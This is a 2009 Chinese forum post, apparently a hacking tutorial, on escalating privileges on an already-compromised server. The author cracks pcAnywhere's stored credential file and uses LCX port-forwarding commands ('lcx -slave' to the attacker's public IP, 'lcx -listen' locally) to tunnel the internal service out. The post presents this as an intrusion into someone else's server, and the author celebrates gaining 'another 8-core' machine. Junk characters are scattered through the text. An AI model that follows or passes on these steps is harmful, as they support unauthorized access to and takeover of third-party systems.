|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。* d! I+ J, \4 u( T m% A, I
, X# D$ q, U( U* x提权方法：pcanywhere+LCX
3 h7 k5 v7 c5 |! J G: \. s+ |. J5 F8 h; C, Q2 n0 a
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。0 h9 B: w- x. z8 m* m3 G; R2 s( `3 \
$ s8 M( ]7 _$ J1 l5 }
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。' F' H& w( V& O: c( M2 d- g
9 C8 @* X: i+ p; |
: _/ _1 o" S# w2 b8 ~查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
3 z7 K7 k* q5 \0 A. H8 W Y
; d- x A) F8 a' J' }! F6 w V: F5 ]( d! K8 B% Q! Y
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
* r5 S! k: J% `1 r/ v+ b
d/ @3 A2 l# S3 z# p4 Q' h& i u6 ~! n3 w, u" F
" p, H5 `1 S+ A4 r4 ?; C# [ \+ m4 B" `% k. ^, G
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
7 ]' B! | X5 G# Z4 W$ v* {, p" |3 Z
8 k; V# I" M, E& C, E3 p& l4 a. @! V- F% ]9 g# @; \, \
LCX的用法再简单说下：
0 F4 U! ^1 L, D1 X6 q6 V: E/ {3 v) n0 N0 R' Y5 ^, ^
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）5 k, k+ Y' y5 _4 J8 k
0 E: X" A2 k$ @ ^; c; j
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
) a$ h" u0 r D" T2 Q I# Y# o+ x$ b
* V; ?8 A4 O3 K; V由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。1 S' O' y1 n3 V1 W3 `" r) A7 l0 c
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
3 C6 `8 e' y6 P, ]5 [
: f# ~. t* Y c8 e
7 M3 Z& N. r" C9 e$ k8 c; x6 a: @* U; c
; s: g/ X# C+ j" s$ _( `* J5 g呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。2 E9 f4 H, ~, V8 G6 Q! Q, u2 ]% G+ [
$ x0 r" ^. z5 a }2 g
/ c# L" S; V4 U' i- M3 A+ ?4 P/ D9 n* k& U& J) Y
4 H& M3 w9 E ^2 B
我们本地连接试试，输入我们刚破解的账号密码
5 G8 r0 i# J+ ^9 F- L
3 q% l* N, c6 B5 n) ]# Z
5 E4 c. J, b, |) O% K呵呵``连接成功,服务器不错，又一个8核^︵^
% v' K, j; n' C, X* U9 S; p# A7 Y# r" X) L+ b9 z2 ^
+ q3 T2 x# _8 T/ G& o) J+ ]% G+ e4 i" p( V; q* _" b, F" v* P
|
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
